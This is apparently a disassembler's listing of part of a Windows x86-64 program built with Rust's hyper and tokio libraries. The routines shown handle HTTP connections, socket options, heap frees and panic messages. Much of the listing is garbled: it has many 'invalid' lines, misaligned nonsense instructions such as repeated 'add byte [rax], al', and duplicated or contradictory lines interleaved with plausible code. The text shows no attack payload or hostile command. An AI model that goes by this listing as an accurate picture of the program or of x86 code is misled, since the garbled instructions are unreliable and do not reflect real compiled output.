movaps xmmword [rbp + 0xda0], xmm1
lea esp, [rax + 0xf00000d]
sub dword [rbp + 0xd90], eax
invalid
add byte [rax], al
lea esp, [rax + 0xf00000d]
sub dword [rbp + 0xd90], eax
invalid
add byte [rax], al
mov rax, qword [rbp + 0xf20]
mov rbx, qword [rax + 0xb38]
mov qword [rax + 0xb30], 0
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], 0xb
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor eax, eax
jmp 0x14011af19
mov rax, qword [rbp + 0xe60]
mov qword [rbp + 0xdb0], rax
mov al, 0xd
add byte [rax], al
mov al, 0xd
add byte [rax], al
movups xmm0, xmmword [rbp + 0xe40]
movups xmm1, xmmword [rbp + 0xe50]
movaps xmmword [rbp + 0xda0], xmm1
movaps xmmword [rbp + 0xd90], xmm0
nop
or eax, 0x8b480000
test dword [rax], esp
sldt word [rax]
mov qword [rax + 0xb30], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 1
mov r9, qword [rbp + 0xf10]
mov rcx, qword [rbp + 0xdb0]
lea esi, [rax + 0x4800000d]
mov dword [rbp + 0xd10], ecx
movaps xmm0, xmmword [rbp + 0xd90]
movaps xmm1, xmmword [rbp + 0xda0]
movaps xmmword [rbp + 0xd00], xmm1
or eax, 0x280f0000
lea esp, [rax + 0xf00000d]
sub dword [rbp + 0xd00], ecx
movaps xmmword [rbp + 0xcf0], xmm0
mov rsi, qword [rbp + 0xf20]
mov r8, qword [rbp + 0xf00]
mov byte [rsi + 0xb29], 1
mov rcx, qword [rbp + 0xcf0]
mov rdx, qword [rbp + 0xcf8]
movdqa xmm0, xmmword [rbp + 0xd00]
mov qword [rsi + 0xb30], rcx
mov qword [rsi + 0xb38], rdx
movdqu xmmword [rsi + 0xb40], xmm0
jg 0x14011af0d
or eax, dword [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0xd10]
mov ecx, dword [rbp + 0xd10]
mov qword [rsi + 0xb50], rcx
push rax
or eax, dword [rax]
add byte [rbx + rcx*4 - 0x52], cl
xor byte [rbx], cl
add byte [rax], al
mov r13, qword [rsi + 0xb30]
cmp r13, 2
mov qword [rbp + 0xf00], r8
test dword [rax], eax
sldt word [rax]
test dword [rax], eax
sldt word [rax]
mov qword [rbp + 0xf10], r9
jne 0x14011b0d0
invalid
mov qword [rsi + 0xb58], rax
mov qword [rsi + 0xb60], rbx
invalid
lea rcx, [rbp + 0xe40]
lea ecx, [rbp + 0xe40]
mov rdx, rbx
mov r8, r15
clc
clc
call fcn.14011c9c0
mov r13, qword [rbp + 0xe40]
cmp r13, 3
jne 0x14011b034
mov al, 6
invalid
mov rdx, qword [rbp + 0xf10]
mov rcx, qword [rbp + 0xf20]
mov byte [rcx + 0xb28], al
sub dword [rax], 0xb000000b
invalid
sub dword [rax], 0xb000000b
add al, 0x88
add cl, byte [rcx - 0x39]
add al, 0x24
add eax, dword [rax]
add byte [rax], al
mov byte [rdx], al
mov qword [r12], 3
mov al, 3
mov rcx, qword [rbp + 0xf20]
mov byte [rcx + 0xeb0], al
mov rax, r12
mov eax, esp
mov eax, esp
movaps xmm6, xmmword [rbp + 0xf30]
add rsp, 0xfc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r15, qword [rbp + 0xe48]
mov rbx, qword [rbp + 0xe50]
add byte [rax], al
add byte [rax], al
movdqu xmm6, xmmword [rbp + 0xe58]
add byte [rax - 0x75], cl
mov ch, 0x20
sldt word [rax]
mov rsi, qword [rbp + 0xf20]
cmp byte [rsi + 0xb29], 0
je 0x14011b11e
test al, al
add byte [rax], al
invalid
test al, al
add byte [rax], al
rol byte [rax], 0
add byte [rbx + 0xb30be], al
add byte [rdx], al
cmp dword [rsi + 0xb30], 2
jne 0x14011b0ef
cmp qword [rsi + 0xb40], 0
je case.0x1401156eb.231
mov r8, qword [rsi + 0xb38]
mov eax, dword [rsi + 0xb38]
add byte [rax - 0x75], cl
or eax, 0x1211d5
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x73f9d
adc eax, 0x73f9d
mov rcx, qword [rsi + 0xb48]
test rcx, rcx
je 0x14011b11e
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax + 0xb], dl
add byte [rax], al
mov rax, qword [rsi + 0xb50]
mov qword [rbp + 0xed8], rcx
mov qword [rbp + 0xef0], rax
mov dword [rbp + 0xef0], eax
call qword [rax]
mov rax, qword [rbp + 0xef0]
cmp qword [rax + 8], 0
je 0x14011b117
cmp qword [rax + 0x10], 0x11
jae case.0x14011633f.191
mov r8, qword [rbp + 0xed8]
jmp 0x14011b108
invalid
mov byte [rsi + 0xb29], 0
mov r15, qword [rsi + 0xb38]
or eax, dword [rax]
add byte [rax - 0x75], cl
sahf
or eax, dword [rax]
add bl, dh
movq mm6, qword [rsi + 0xb48]
or eax, dword [rax]
add byte [rax - 0x75], cl
sahf
or eax, dword [rax]
add bl, dh
movq mm6, qword [rsi + 0xb48]
jmp 0x14011b11e
lea rcx, [rsi + 0xb30]
call fcn.140108d10
jmp 0x14011b117
mov r8, qword [rbp + 0xed8]
mov eax, dword [rbp + 0xed8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
adc al, byte [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbp + 0xf20]
mov byte [rsi + 0xb29], 0
lea rcx, [rsi + 0xa88]
add byte [rax], al
add byte [rax], al
call fcn.14006b990
mov rax, qword [rbp + 0xf20]
cmc
dec dword [rax - 0x75]
test dword [rax], esp
sldt word [rax]
lea rcx, [rax + 0x708]
call fcn.14011c890
mov rax, qword [rbp + 0xf20]
lea rcx, [rax + 0x388]
invalid
mov byte [rbx], al
add byte [rax], al
mov byte [rax - 0x17fffffd], cl
cmp dword [rdi], edx
add byte [rax], al
mov byte [rbx], al
add byte [rax], al
call fcn.14011c890
mov rsi, qword [rbp + 0xf20]
cmp qword [rsi + 0x360], 0
je 0x14011b17e
add byte [rax - 0x7d], cl
mov esi, 0x360
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0x358]
mov r8, qword [rsi + 0x358]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0xb2a], 0
xchg byte [rdx], ch
or eax, dword [rax]
add byte [rax], al
mov rsi, qword [rbp + 0xf20]
cmp qword [rsi + 0x2b8], 0
mov eax, 2
mov eax, 2
je 0x14011b1ac
mov r8, qword [rsi + 0x2b0]
mov rcx, qword [0x14023c258]
xchg byte [rax + 0x48000002], dh
mov ecx, dword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0xb28], 1
add byte [rcx], al
add dword [rax - 0x75], ecx
test eax, edx
invalid
mov rax, qword [rbp + 0xed0]
mov qword [rbp + 0xe88], rax
mov rax, qword [rbp + 0xec8]
mov qword [rbp + 0xe80], rax
mov rsi, qword [rbp + 0xf10]
mov qword [rbp + 0xe78], rsi
mov r14, qword [rbp + 0xf00]
mov esi, dword [rbp + 0xf00]
mov esi, dword [rbp + 0xf00]
add byte [rcx + rcx*4 - 0x4b], cl
jo 0x14011b1f7
mov qword [rbp + 0xe70], r14
add byte [rax], al
mov rcx, qword [rbp + 0xf08]
call fcn.14011e430
cmp r13d, 2
mov qword [rbp + 0xef0], r15
invalid
add byte [rbp + 0x28], dh
jne 0x14011b22c
mov r13, r12
mov r12, rbx
movq r15, xmm6
pshufd xmm0, xmm6, 0xee
movq rbx, xmm0
mov rax, qword [rbp + 0xf20]
mov byte [rax + 0x134], 0
jmp 0x1401196b5
mov qword [rbp + 0xc58], r13
mov qword [rbp + 0xc60], r15
mov qword [rbp + 0xc68], rbx
movdqu xmmword [rbp + 0xc70], xmm6
jo 0x14011b253
add byte [rax], al
movq r15, xmm6
jle 0x14011b245
cmp r15, 0xffffffffffffffff
je 0x14011b3d4
test byte [rcx + rax], bh
add byte [rcx + rcx*4 - 0x11], cl
mov rdi, r13
mov r13, r12
mov rax, qword [rbp + 0xf20]
mov rax, qword [rax + 0x128]
mov eax, dword [rax + 0x128]
mov rax, qword [rax]
movzx eax, byte [rax + 0x77]
mov dword [rbp - 0x50], eax
mov dword [rsp + 0x20], 4
lea r9, [rbp - 0x50]
mov rcx, r15
mov edx, 6
mov r8d, 1
call qword [sym.imp.WS2_32.dll_setsockopt]
stosb byte [rdi], al
invalid
invalid
add byte [rcx - 0x77], cl
mov esp, ebx
stosb byte [rdi], al
invalid
mov esp, ebx
cmp eax, 0xffffffff
jne 0x14011b2a4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rax, qword [rbp + 0xf20]
mov byte [rax + 0x134], 0
lea rcx, [rax + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ch, 0xd8
or eax, 0x894c0000
mov ch, 0xd0
or eax, 0xe4e80000
and al, 0xf5
inc esi
invalid
mov qword [rbp + 0xdd8], rsi
mov qword [rbp + 0xdd0], r14
call fcn.14006d7b0
mov byte [rsi], 1
pshufd xmm0, xmm6, 0xee
movq rbx, xmm0
jmp 0x1401196de
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
lodsd eax, dword [rsi]
cwde
invalid
add byte [rax], al
mov ecx, 1
mov edx, 0x1f
call fcn.140186620
jmp 0x14011b6c3
lodsd eax, dword [rsi]
cwde
invalid
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x22
call fcn.140186b70
ud2
invalid
or ecx, dword [rax - 0x73]
or eax, 0x9d7cf
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140186b70
ud2
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
mov ecx, 1
add byte [rdx + 0x1c], bh
add byte [rdx + 0x1c], bh
add al, ch
iretd
call fcn.140186620
jmp 0x14011b6c3
mov qword [rbp + 0xdc8], r13
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
or al, byte [rax]
or al, byte [rax]
add byte [rdx + 0x22], bh
mov edx, 0x22
call fcn.140186b70
jmp 0x14011b6c3
mov qword [rbp + 0xdc8], r13
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140186b70
jmp 0x14011b6c3
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
mov ch, 0xa0
invalid
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
mov ecx, 1
mov edx, 0x1e
call fcn.140186620
jmp 0x14011b6c3
mov ecx, 1
mov edx, 9
call fcn.140186620
invalid
add cl, ch
out dx, eax
add al, byte [rax]
invalid
invalid
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srciopoll_evented.rs
add eax, 0xa9556
add eax, 0xa9556
mov edx, 0x2b
call fcn.140186b70
jmp 0x14011b6c3
mov qword [rbp + 0xe00], rsi
mov qword [rbp + 0xdf8], r13
mov qword [rbp + 0xdf0], r8
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnectdns.rs
add eax, 0xa0f3c
add eax, 0xa0f3c
mov edx, 0x22
call fcn.140186b70
add cl, ch
invalid
add al, byte [rax]
invalid
add cl, ch
movabs al, byte [0xe00b58948000002]
add byte [rax], al
mov qword [rbp + 0xe00], rsi
mov qword [rbp + 0xdf8], r13
mov qword [rbp + 0xdf0], r8
lea rcx, str._async_fn__resumed_after_completion
clc
or eax, 0x894c0000
test eax, esi
or eax, 0x8d480000
or eax, 0x9d6b1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnectdns.rs
add eax, 0xa0f0a
mov edx, 0x23
call fcn.140186b70
add cl, ch
outsb dx, byte [rsi]
add al, byte [rax]
invalid
add cl, ch
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf10], rsi
adc byte [rdi], cl
add byte [rax], al
mov qword [rbp + 0xf00], r13
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
add eax, 0xa0ef0
mov edx, 0x22
call fcn.140186b70
jmp 0x14011b6c3
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140186b70
jmp 0x14011b6c3
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0xe38], rax
mov qword [rbp + 0xe30], r13
mov ecx, 4
mov edx, 0x20
call fcn.140186620
jmp 0x14011b6c3
lea rcx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea r8, str.librarycore_src_time.rs
mov edx, 0x35
call fcn.140186f60
jmp 0x14011b6c3
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
lea rdx, str.librarycore_src_time.rs
lea rcx, [rbp - 0x50]
call fcn.1401869b0
jmp 0x14011b6c3
mov qword [rbp + 0xec0], rsi
mov qword [rbp + 0xeb8], r13
call fcn.1400106d0
jmp 0x14011b6c3
mov byte [rbp + 0xf1f], 1
call fcn.1400106d0
jmp 0x14011b6c3
mov qword [rbp + 0xe90], r14
lea rcx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea r8, str.librarycore_src_time.rs
mov edx, 0x35
call fcn.140186f60
jmp 0x14011b6c3
mov qword [rbp + 0xe90], r14
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
lea rdx, str.librarycore_src_time.rs
lea rcx, [rbp - 0x50]
call fcn.1401869b0
jmp 0x14011b6c3
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0xe38], rax
mov qword [rbp + 0xe30], r13
mov ecx, 4
mov edx, 0x20
call fcn.140186620
jmp 0x14011b6c3
mov byte [rbp + 0xf1f], 1
mov ecx, 4
mov rdx, r14
call fcn.140186620
jmp 0x14011b6c3
lea rcx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea r8, str.librarycore_src_time.rs
mov edx, 0x35
call fcn.140186f60
jmp 0x14011b6c3
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
lea rdx, str.librarycore_src_time.rs
lea rcx, [rbp - 0x50]
call fcn.1401869b0
jmp 0x14011b6c3
lea rcx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea r8, str.librarycore_src_time.rs
mov edx, 0x35
call fcn.140186f60
jmp 0x14011b6c3
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], 1
lea rax, [0x1401ea218]
mov qword [rbp + 0x8e0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x8e8], xmm0
lea rdx, str.librarycore_src_time.rs
lea rcx, [rbp + 0x8d0]
call fcn.1401869b0
ud2
pop rdi
pop rbp
ret
movq qword [rsp + 0x20], mm6
mov rax, qword [rbp + 0xf20]
cmp byte [rax + 0xb2a], 0
add byte [rax], al
add byte [rax], al
je 0x14011c185
mov rax, qword [rbp + 0xf20]
lea rcx, [rax + 0x2e8]
call fcn.14006b990
mov rsi, qword [rbp + 0xf20]
mov rcx, qword [rsi + 0x358]
pop rax
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg esi, eax
invalid
add eax, dword [rax]
add al, ch
mov cl, 0x9e
inc esi
xchg byte [rdx], ch
or eax, dword [rax]
add byte [rax], al
movdqa xmm6, xmmword [rsp + 0x20]
je 0x14011c1cf
and byte [rax - 0x7d], cl
invalid
cmp byte [rbx + 0x5f], bl
pop rsi
pop rax
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg esi, eax
invalid
je 0x14011c1cf
and byte [rax - 0x7d], cl
invalid
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rsi, qword [rbp + 0xf20]
mov rcx, qword [rsi + 0x2b0]
mov rdx, qword [rsi + 0x2b8]
call fcn.140046050
mov byte [rsi + 0xb28], 2
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop r15
pop rbp
ret
add byte [rax], al
call fcn.1400422e0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14011c384
and al, 0x20
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14011c384
and al, 0x20
mov rcx, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8d8]
call fcn.140046050
mov byte [rbp + 0xf1f], 0
movdqa xmm6, xmmword [rsp + 0x20]
movq mm6, qword [rsp + 0x20]
or byte [rax], al
add al, ch
sub ebx, dword [rbp - 0x7a39000e]
invalid
movq mm6, qword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
sub esp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
and byte [rax + 0xf1fbd], al
add byte [rax], al
and byte [rax + 0xf1fbd], al
add byte [rax], al
mov ebp, 0xf1f
add byte [rax], al
add byte [rdi + rbp + 0x48], dh
mov eax, dword [rbp + 0xf10]
je 0x14011c3aa
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0xec0], rax
mov dword [rbp + 0xec0], eax
test eax, eax
invalid
mov rax, qword [rbp + 0xf00]
mov eax, dword [rbp + 0xf00]
sldt word [rax]
mov qword [rbp + 0xeb8], rax
mov rcx, qword [rbp + 0xf08]
mov rdx, qword [rbp + 0xee0]
add byte [rax - 0x75], cl
xchg ebp, eax
loopne case.0x14010aa7a.436
add byte [rax], al
call fcn.1400422e0
mov rax, qword [rbp + 0xf10]
mov eax, dword [rbp + 0xf10]
mov qword [rbp + 0xec0], rax
mov rax, qword [rbp + 0xf00]
mov qword [rbp + 0xeb8], rax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
je 0x14011c3ef
and byte [rax - 0x7d], cl
invalid
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
je 0x14011c3ef
and byte [rax - 0x7d], cl
invalid
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rsi, qword [rbp + 0xe70]
mov rdi, qword [rbp + 0xe78]
mov rax, qword [rbp + 0xf20]
cmp byte [rax + 0x134], 0
xor al, 1
add byte [rax], al
add byte [rbp + 0x24], dh
xor al, 1
add byte [rax], al
add byte [rbp + 0x24], dh
mov qword [rbp + 0xde8], rdi
mov qword [rbp + 0xde0], rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0xe80]
mov rdx, qword [rbp + 0xe88]
mov byte [rsi], cl
add byte [rax], al
mov byte [rsi], cl
add byte [rax], al
call fcn.140046050
mov qword [rbp + 0xde8], rdi
mov qword [rbp + 0xde0], rsi
mov dword [rbp + 0xde0], esi
mov dword [rbp + 0xde0], esi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rsi, qword [rbp + 0xeb8]
mov rdi, qword [rbp + 0xec0]
mov rax, qword [rbp + 0xf20]
mov rcx, qword [rax + 0x138]
mov rdx, qword [rax + 0x140]
call fcn.140169ab0
mov qword [rbp + 0xe38], rdi
mov qword [rbp + 0xe30], rsi
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0xde0]
mov rcx, qword [rbp + 0xde8]
mov rdx, qword [rbp + 0xf20]
mov byte [rdx + 0x134], 0
mov qword [rbp + 0xea0], rcx
mov qword [rbp + 0xe98], rax
test dword [rax + 0x6600000e], ebx
movq mm6, qword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
and byte [rax - 0x75], cl
mov ch, 0x98
invalid
add byte [rax], al
mov rdi, qword [rbp + 0xea0]
mov rax, qword [rbp + 0xf20]
lea rcx, [rax + 0xd0]
call fcn.14006d7b0
mov qword [rbp + 0xdd8], rdi
mov qword [rbp + 0xdd0], rsi
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
and byte [rax - 0x75], cl
mov ch, 0x98
invalid
pop rdi
pop rbp
ret
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rax, qword [rbp + 0xdd0]
mov rcx, qword [rbp + 0xdd8]
mov ecx, dword [rbp + 0xdd8]
mov ecx, dword [rbp + 0xdd8]
mov byte [rcx], 2
mov qword [rbp + 0xdc8], rax
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp + 0xdc8]
call fcn.14011e750
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rax, qword [rbp + 0xf20]
lea rcx, [rax + 0x58]
call fcn.140068930
invalid
ret 0xfff4
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14011c7d4
and al, 0x20
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14011c7d4
and al, 0x20
mov rax, qword [rbp + 0xf20]
mov byte [rax + 0xeb0], 2
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add r14b, r15b
invalid
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x18]
je 0x14011c825
invalid
cmp qword [rax + 0x10], 0x11
jae 0x14011c80e
mov r8, qword [rbp - 8]
jmp 0x14011c816
je 0x14011c849
mov r8, qword [rsi]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x48
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rbx + rcx*4 + 0x45], cl
clc
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsi + 0x20], 0
je 0x14011c845
cmp qword [rsi + 0x30], 0
je 0x14011c845
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0x20], 0
add rsp, 0x48
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.140005270
mov rax, qword [rbp - 0x18]
mov byte [rax + 0x20], 0
add rsp, 0x28
pop rsi
pop rbp
ret
int3
add byte [rax], al
add ecx, dword [rdi]
test dword [rax + 0x48000000], eax
mov eax, ecx
add rcx, 0x1e0
mov qword [rbp - 8], rax
call fcn.140120360
add byte [rax], al
add byte [rax], al
mov rsi, qword [rbp - 8]
mov r8, qword [rsi]
test r8, r8
je 0x14011c929
cmp qword [rsi + 8], 0
je 0x14011c8e5
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14011c929
mov rax, qword [rsi + 0x18]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rax
sbb byte [rax - 0x77], cl
call 0x130575242
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 8]
mov r8, qword [rbp - 0x18]
je 0x14011c929
cmp qword [rax + 0x10], 0x11
jb 0x14011c91a
invalid
add al, 0x4d
mov eax, dword [rax - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0x378], 0
add rsp, 0x48
pop rsi
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 8]
call fcn.140120650
nop
add rsp, 0x28
invalid
sub byte [rsi + 0x5d], bl
ret
invalid
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
call 0x12e9ab66b
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x418
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x390], 0xfffffffffffffffe
mov rdi, r8
mov r12, rdx
mov rsi, rcx
invalid
movzx eax, byte [rdx + 0x379]
mov dh, 0x82
jns 0x14011c9f7
add byte [rax], al
test dword [rax - 0x1fffffd], edx
invalid
invalid
invalid
lea rcx, [0x1401ef7cc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x380], rdx
jmp rax
invalid
mov rax, qword [r12 + 0x368]
mov rcx, qword [r12 + 0x370]
mov qword [r12 + 0x40], rax
and al, 0x40
test byte [rax + rbp*2], ah
add eax, dword [rax]
add byte [rcx - 0x75], cl
mov word [rax + rsi*2], fs
add eax, dword [rax]
add byte [rcx - 0x77], cl
and al, 0x40
mov qword [r12 + 0x48], rcx
mov byte [r12 + 0x378], 1
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rcx], al
mov byte [r12 + 0x378], 1
test byte [rax + rdi*2], ah
add eax, dword [rax]
